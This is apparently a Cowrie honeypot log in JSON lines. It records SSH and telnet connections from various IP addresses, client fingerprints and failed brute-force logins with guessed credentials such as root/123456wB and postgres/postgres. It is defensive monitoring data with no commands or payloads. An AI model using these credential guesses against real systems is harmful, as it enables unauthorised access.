{"eventid":"cowrie.session.connect","src_ip":"195.86.192.66","src_port":35832,"dst_ip":"10.17.0.5","dst_port":22,"session":"375483f20d6b","protocol":"ssh","message":"New connection: 195.86.192.66:35832 (10.17.0.5:22) [session: 375483f20d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:15.725018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:15.727827Z","src_ip":"195.86.192.66","session":"375483f20d6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:15.958146Z","src_ip":"195.86.192.66","session":"375483f20d6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456wB","message":"login attempt [root/123456wB] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:16.908005Z","src_ip":"195.86.192.66","session":"375483f20d6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:18.141207Z","src_ip":"195.86.192.66","session":"375483f20d6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.9867160320282,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:19.611560Z","src_ip":"170.64.224.25","session":"298f27f9759c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":49038,"dst_ip":"10.17.0.5","dst_port":22,"session":"769ec2622760","protocol":"ssh","message":"New connection: 77.94.47.83:49038 (10.17.0.5:22) [session: 769ec2622760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:21.631980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:21.636106Z","src_ip":"77.94.47.83","session":"769ec2622760","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:21.741551Z","src_ip":"77.94.47.83","session":"769ec2622760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lpzssskqwq123","message":"login attempt [root/lpzssskqwq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:22.060591Z","src_ip":"77.94.47.83","session":"769ec2622760","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:23.168902Z","src_ip":"77.94.47.83","session":"769ec2622760","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":56894,"dst_ip":"159.203.135.109","dst_port":22,"session":"a67cd7cd86a2","protocol":"ssh","message":"New connection: 103.149.28.157:56894 (159.203.135.109:22) [session: a67cd7cd86a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:27.023867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:27.030040Z","src_ip":"103.149.28.157","session":"a67cd7cd86a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:27.270769Z","src_ip":"103.149.28.157","session":"a67cd7cd86a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"198822","message":"login attempt [root/198822] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:27.995703Z","src_ip":"103.149.28.157","session":"a67cd7cd86a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":60742,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcee0fe69ab9","protocol":"telnet","message":"New connection: 107.6.151.170:60742 (159.203.135.109:23) [session: fcee0fe69ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:28.555895Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:29.238261Z","src_ip":"103.149.28.157","session":"a67cd7cd86a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.943684339523315,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:38.878091Z","src_ip":"170.64.224.25","session":"9ad5d49c59db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69765019416809,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:40.124713Z","src_ip":"107.6.151.170","session":"42673639eb08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":78.93857741355896,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:46.220646Z","src_ip":"170.64.224.25","session":"f352c83f1e4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.35.226","src_port":42556,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbcdd4d1126e","protocol":"ssh","message":"New connection: 166.62.35.226:42556 (10.17.0.5:22) [session: dbcdd4d1126e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:57.359721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:57.363552Z","src_ip":"166.62.35.226","session":"dbcdd4d1126e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:57.436066Z","src_ip":"166.62.35.226","session":"dbcdd4d1126e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"curve","password":"curve999","message":"login attempt [curve/curve999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:57.636135Z","src_ip":"166.62.35.226","session":"dbcdd4d1126e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:04:58.703852Z","src_ip":"166.62.35.226","session":"dbcdd4d1126e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.61432766914368,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:01.170140Z","src_ip":"107.6.151.170","session":"fcee0fe69ab9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":38774,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca5c89ce87b6","protocol":"ssh","message":"New connection: 91.92.40.4:38774 (10.17.0.5:22) [session: ca5c89ce87b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:01.319000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:01.323273Z","src_ip":"91.92.40.4","session":"ca5c89ce87b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:01.409345Z","src_ip":"91.92.40.4","session":"ca5c89ce87b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:01.657125Z","src_ip":"91.92.40.4","session":"ca5c89ce87b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:02.784576Z","src_ip":"91.92.40.4","session":"ca5c89ce87b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.18.133","src_port":48838,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a7ac205e3c8","protocol":"ssh","message":"New connection: 157.230.18.133:48838 (159.203.135.109:22) [session: 4a7ac205e3c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:15.092262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:15.097508Z","src_ip":"157.230.18.133","session":"4a7ac205e3c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:15.187763Z","src_ip":"157.230.18.133","session":"4a7ac205e3c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aspera","password":"aspera123","message":"login attempt [aspera/aspera123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:15.575755Z","src_ip":"157.230.18.133","session":"4a7ac205e3c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:16.667465Z","src_ip":"157.230.18.133","session":"4a7ac205e3c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.145.199","src_port":58510,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6dbdebddce2","protocol":"ssh","message":"New connection: 101.32.145.199:58510 (10.17.0.5:22) [session: a6dbdebddce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:19.625623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:19.644818Z","src_ip":"101.32.145.199","session":"a6dbdebddce2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:19.878837Z","src_ip":"101.32.145.199","session":"a6dbdebddce2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":35716,"dst_ip":"10.17.0.5","dst_port":22,"session":"35390e8bd484","protocol":"ssh","message":"New connection: 87.251.79.125:35716 (10.17.0.5:22) [session: 35390e8bd484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:20.152878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:20.157349Z","src_ip":"87.251.79.125","session":"35390e8bd484","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:20.234165Z","src_ip":"87.251.79.125","session":"35390e8bd484","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kometa","message":"login attempt [root/kometa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:20.443702Z","src_ip":"87.251.79.125","session":"35390e8bd484","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server","message":"login attempt [root/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:20.828133Z","src_ip":"101.32.145.199","session":"a6dbdebddce2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:05:21.514185Z","src_ip":"87.251.79.125","session":"35390e8bd484","protocol":"ssh"}
